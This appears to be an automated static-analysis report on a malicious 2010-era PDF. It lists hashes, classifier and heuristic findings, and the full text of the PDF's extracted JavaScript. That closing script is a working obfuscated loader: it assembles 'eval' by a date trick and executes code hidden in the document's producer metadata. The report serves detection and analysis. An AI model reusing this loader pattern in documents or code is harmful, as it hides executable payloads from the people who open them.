Malicious PDF — malware analysis report

Static analysis result for SHA-256 3aeae2f877a6a324…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-07
MD5: 20801c6a7a7ae1d50f36ba90621cb090 SHA-1: 16f9fef414bb5755ef5867c1ed4133ed92307c92 SHA-256: 3aeae2f877a6a3244bb3caa635df986a6d7abdf61e179f450e5d7a23df3dda03
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF was flagged as malicious by an ML classifier with high confidence. Static analysis detected embedded JavaScript, including the use of String.fromCharCode, which is often used for obfuscation. The JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The exact intent of the script could not be fully determined due to potential obfuscation, but its presence within a malicious PDF strongly suggests it's used to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    jck\(jck\('String.fromCharCode\(' + rnekm + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x56C1 368 bytes
SHA-256: 2a084cf34ad337f2c0b23e84cb5f364e9ad5611e0cbf03dfd7c273facd5a8fa9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
nrl = app;
gmefh = new Date(2010,11,4);
var jgol='';
var jgc = 'e'+gmefh.getDay()+'a'+jgol+'l';
jgc = jgc.replace('6','v');
jck=nrl[jgc];
var jgol='';
jck('va'+jgol+'r nif=th'+jgol+'i'+jgol+'s');
tfnu='pr' + jgol + gmefh.getDay() + jgol + 'uc' +'er';
tfnu = tfnu.replace('6', 'od');
var rnekm = nif[tfnu];
jck(jck('String.fromCharCode(' + rnekm + ')'));